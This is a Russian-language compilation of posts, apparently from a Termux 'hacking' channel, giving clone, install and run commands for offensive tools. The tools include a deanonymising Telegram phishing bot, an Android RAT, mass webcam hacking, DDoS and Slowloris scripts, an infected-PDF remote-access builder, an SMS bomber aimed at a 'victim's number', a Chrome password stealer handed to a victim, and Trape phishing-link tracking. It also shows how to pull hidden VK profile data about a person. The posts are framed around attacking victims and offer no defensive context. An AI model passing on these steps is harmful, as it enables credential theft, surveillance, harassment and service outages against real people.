​​🔬 Деаноним пользователя с помощью бота

На просторах интернета появилась утилита на Termux, с помощью которой каждый может создать фейкового бота, и сдеанонить человека! Она работает по принципу фишинга, однако отличается тем, что вместо страницы на сайте у нас бот.

Установка:
$ git clone https://github.com/lamer112311/Dnnme2
$ cd Dnnme2
$ pip install -r requirements.txt
$ python build.py

После чего заходим в @BotFather, создаем бота, пишем ему старт и копируем его токен. Вставляем в терминал, вводим свой телеграм айди и затем запускаем сохранившийся файл

Мы создали бота, который будем маскироваться под различные сервисы, и будет собирать и пересылать информацию нам.

​​🪓 Инструмент для выполнения MiTM атак

Responder — инструмент для выполнения MiTM атак в отношении методов аутентификации в Windows. Незаменимый инструмент в Active Directory сетях. Кроме спуфинга умеет перехватывать NTLM-аутентификацию, в комплекте также идет набор инструментов для сбора информации и реализации атак NTLM-Relay.

По умолчанию поднимает множество серверов с поддержкой NTLM-аутентификации: SMB, MSSQL, HTTP, HTTPS, LDAP, FTP, POP3, IMAP, SMTP;

1. Позволяет подменять DNS в случае MITM-атак (ARP-спуфинг и т.д.);
2. Fingerprint хостов, совершивших широковещательный запрос;
3. Analyze mode — для пассивного наблюдения за запросами;
4. Формат перехваченных хешей при NTLM-аутентификации совместим с John the Ripper и Hashcat.

🖱Информация по установке есть на GitHub.

​​🪛 Инструмент для массового взлома вебкамер!

Entropy Toolkit — мощная утилита для пентестинга вебкамер. Может работать как "точечно", так и искать их через shodan.

Установка:
$ pip install tailer
$ git clone https://github.com/evildevill/entropy
$ cd entropy
$ chmod +x install.sh
$ ./install.sh

Использование:
$ python3 entropy -h

​​📩 Как проверить почту на существование?

В данном посте пойдёт речь про утилиту KnockMail, которая проверяет почту на валидность, то есть, на факт её существования. Инструмент особенно полезен для тех, кто работает с базами данных.

Установка:
$ git clone https://github.com/4w4k3/KnockMail.git
$ cd KnockMail
$ tsu
$ pip install -r requeriments.txt

Использование:
$ python knock.py

После запуска будет открыто меню, в котором вы можете выбрать проверку e-mail адресов в специальном файле или проверку одного e-mail.

​​Лучший Android-RAT в Termux

haxRat — это облачный скрипт для удаленного управления Android на базе NodeJS. С его помощью вы можете блокировать звонки на устройстве, видеть все файлы и картинки, прослушивать микрофон, мониторить уведомления и многое другое.

Установка

$ apt install nodejs git
$ git clone https://github.com/hax4us/haxRat.git
$ cd haxRat/server
$ npm install
$ mkdir ~/haxrat

Использование

$ node index.js

​​💽 Собираем электронные почты с вебсайтов

Email Grabber — утилита для сбора email с произвольного списка веб-сайтов.

Установка

$ git clone https://github.com/KTN1990/Email-Grabber
$ cd Email-Grabber

Использование

$ python3 emailgrabberv2.py -h

​​🔎 Мультитул для пентестинга

Atscan — новый инструмент по продвинутому поиску, массовой эксплуатации дорков и автоматическому обнаружению сайтов с уязвимостями.

Установка:

$ git clone https://github.com/AlisamTechnology/ATSCAN.git
$ cd ATSCAN/
$ chmod +x ./install.sh
$ sudo ./install.sh

Испoльзование:

$ perl atscan.pl --help

🎁 Как получить бесплатно домен: .pp.ua навсегда?

Доброго времени суток! Сегодня мы покажем вам способ получения домена абсолютно бесплатно на неограниченный период времени.

Погнали!

1. Первое, что нам нужно, это перейти на сайт → ТЫК ←.
2. Выбираем домен .pp.ua.
3. Далее выбираем название сайта.
4. После этого нам нужно зарегистрироваться и оформить заказ. Нужно вводить тот же номер, что и в Telegram.
5. Привязываем виртуальную карту.
6. Возвращаемся к домену и кликаем по кнопке «Активация».
7. Затем открываем бота: @ppuabot, кликаем по кнопке «Старт». Номер в Telegram и при регистрации обязательно должен быть одинаковый.
8. Следуем инструкциям, получаем ключ.
9. Далее копируем ключ, полученный от бота.
10. Активируем ключ здесь → ТЫК ←.

Все готово!

​​🛠 Мультитул для хакинга

"Взломай мир с помощью termux" — такой лозунг у создателей утилиты EasyHack. С ее помощью вы можете в одной только утилите устраивать ddos атаки, проводить сканирование с помощью nmap, брутфорсить пароли и многое другое.

Установка в Termux:

$ pkg update
$ pkg upgrade
$ pkg install git
$ git clone https://github.com/sabri-zaki/EasY_HaCk
$ cd EasY_HaCk/
$ chmod +x install.sh
$ . /install.sh

Использование:

$ EasY-HaCk

​​🔐 Взламываем дроны

DroneSploit — это среда командной строки, основанная на sploitkit и попытка собрать методы взлома и эксплойты, особенно ориентированные на взлом дронов. Для простоты использования интерфейс имеет макет, похожий на Metasploit. В настоящее время он поддерживает только очень небольшое количество моделей дронов, но мы надеемся, что в ближайшем будущем мы будем приветствовать новые предложения.

Необходимости

1) Linux система;
2) Wi-Fi карта с режимом монитора (многие Wi-Fi адаптеры поддерживают этот режим);

Установка

$ sudo pip install dronesploit

Использование

$ dronesploit

​​🔎 Ищем уязвимости в современных автомобилях

4CAN V2 — проект Raspberry Pi, созданный командой Cisco для проверки безопасности автомобилей через шину 4CAN, он также может отправлять случайные полезные нагрузки для автоматизации этого процесса.

Установка:
$ git clone https://github.com/alexdetrano/4CAN
$ cd 4CAN
$ ./install.sh

Скопируйте 4 файла mcp2515-canx.dtbo в каталог /boot/overlays

Использование
1. Подключаем Raspberry Pi;
2. Запускаем./4CAN.sh

Несмотря на то, что он автоматизирован, он все ещё требует некоторого опыта для использования.

​​🔪 DDos атака через Termux

DDoS-атаки (Distributed Denial of Service – распределённые атаки класса "отказ в обслуживании") – это атаки на вычислительные системы (сетевые ресурсы или каналы связи), имеющие целью сделать их недоступными для легитимных пользователей.

Установка

$ apt update & apt upgrade -y && pkg install python git -y
$ git clone https://github.com/HardyTomas/DDos-Attack-OVH-
$ cd DDos-Attack-OVH-
$ pip install toripchanger
$ pip install -r requirements.txt

Использование

$ python 80port.py

Также, можно проводить атаку на 443 порт (https)

$ python 443port.py

​​📑 Как взломать ПК через PDF файл?

Формат PDF имеет множество уязвимостей, благодаря которым в файлы можно "вшивать" вирусы и т.п. В данном посте представлен автоматизированный фреймворк Insanity Framework для создания зараженного PDF-файла, который позволит реализовать удаленный доступ к машинам на Windows.

Установка:
$ git clone https://github.com/4w4k3/Insanity-Framework
$ cd Insanity-Framework
$ chmod +x insanity.py
$ ./install.sh

Использование:
$ sudo python2 insanity.py

При первом запуске установятся все необходимые зависимости и откроется главное меню. В нём выбираем первый пункт для создания полезной нагрузки. Далее выбираем Fake Acrobat PDF. Вводим ip адрес и порт.

​​Находим камеры наблюдения по всему миру

BiG Brother — инструмент, который можно использовать для поиска камер видеонаблюдения с открытыми портами по всему миру.

На данный момент поддерживаются только 3 марки камер видеонаблюдения: Sony, Canon и Panasonic . В ближайшие недели автор планирует добавить следующие бренды: Alphafinity, INSTAR, Milesight, Vacron и VideoIQ. Также есть возможность сохранить и экспортировать результат расследования во время .csv или .txt после его завершения.

Установка

$ git clone https://github.com/nwqda/BiG-Brother
$ pip install -r requirements.txt

Запуск

$ python3 big-brother.py

Дальше инструмент будет выдавать дорки.

​​​Ddos в Termux

Slowloris — инструмент для DoS-атак с низкой пропускной способностью. Программное обеспечение переписано на Python и выполняет атаку отказа в обслуживании HTTP, которая замедляет работу небольших серверов или приводит к их сбою.

Установка

$ git clone https://github.com/gkbrk/slowloris.git
$ cd slowloris

Использование

$ python3 slowloris.py

Также можно юзать прокси и не только

​​​​Новый скрипт SMS-бомбера

YetAnotherSMSBomber — бомбер с множеством интегрированных API-интерфейсов SMS и поддержкой пользовательской конфигурации API! Неограниченное количество SMS! Быстрее и легче, чем большинство скриптов SMS бомберов! Возможна международная бомбардировка!

Установка

$ pkg install git python -y
$ git clone https://github.com/AvinashReddy3108/YetAnotherSMSBomber.git
$ cd YetAnotherSMSBomber
$ pip3 install -r requirements.txt

Запуск

$ python3 bomber.py Номер жертвы

​​Узнаем cкрытую информацию о пользователе VK

Салют тем, для кого OSINT — не пустой звук.

1. Открываем в браузере ссылку https://vk.com/foaf.php?id= и после id= пишем цифры из id жертвы;
└ Узнать id по никнейму можно здесь, пример https://vk.com/foaf.php?id=460060000;
2. Далее смотрим исходный код страницы;
└ Firefox>Правой кнопкой мыши + Исходный код страницы
3. Изучаем исходный код — там можно найти целый клондайк полезной информации:

ya:created — дата создания профиля;
ya:modified — дата изменения ФИО в профиле (например, в случае развода/замужества);
foaf:externalProfile — ссылка на профили в других соцсетях (в том числе те, которые были указаны ранее, но ныне скрыты);
ya:bio — информация "о себе", которая не отображается на странице (часто находится у профилей, зарегистрированных 10 и более лет назад);
ya:lastLoggedIn — дата последнего захода с точностью до секунды;

4. Поздравляю, вы великолепны!

​​​​Как украсть пароли из аккаунта в Google

Большинство пользователей хранит свои пароли прямо в браузере, в так называемых "формах автозаполнения" Chrome.

ChromePass - это специализированная утилита, написанная на языке программирования Python, способная "добывать" сохраненные пароли в Chrome.

Установка:
$ git clone https://github.com/bierschi/chromepass
$ cd chromepass
$ pip install -r requirements.txt
$ python -m pip install --upgrade pip
$ python -m pip install -r requirements.txt

Использование:
$ python create_server.py

После запуска, выбираем метод - client.exe, вводите свой IP. Если хотите, то включите сообщение об ошибке, и добавьте сообщение. Файл server-ip.exe - должна получить ваша жертва. В файле client.txt появятся пароли.

​​Cледим за жертвой с помощью ссылки

Trape — OSINT инструмент, который позволяет отслеживать и выполнять атаки социальной инженерии в режиме реального времени.

Утилита создает фишинг ссылку, и через нее следит за пользователем. Благодаря данному инструменту можно получить такую информацию как: IP, геолокация, ОС. Также вы сможете запускать удаленно js скрипты, загружать файлы на пк. Можно будет узнать на каких сервисах зарегистрирован пользователь.

Установка

$ apt update -y
$ apt upgrade -y
$ apt install python
$ apt install git
$ git clone https://github.com/jofpin/trape.git

Запуск

$ cd trape
$ pip3 install -r requirements.txt
$ python3 trape.py --url <ссылка на любую страницу> --port 8080

Использование

$ python3 trape.py --url http://example.com --port 8080

​​Ищем дорки и SQL-инъекции с помощью Termux

RainbowSQL — очень быстрый сканер dork и SQL-инъекций.

— Высокоскоростное сканирование дорка (до 5000 URL / мин)
— Прокси не нужны!
— Сканер SQL Injection (до 200 URL / мин)
— Поддерживает множество баз данных

Установка

1. Переходим по ссылке и скачиваем архив;
2. Распаковываем архив;

Запуск

RainbowSQL2.exe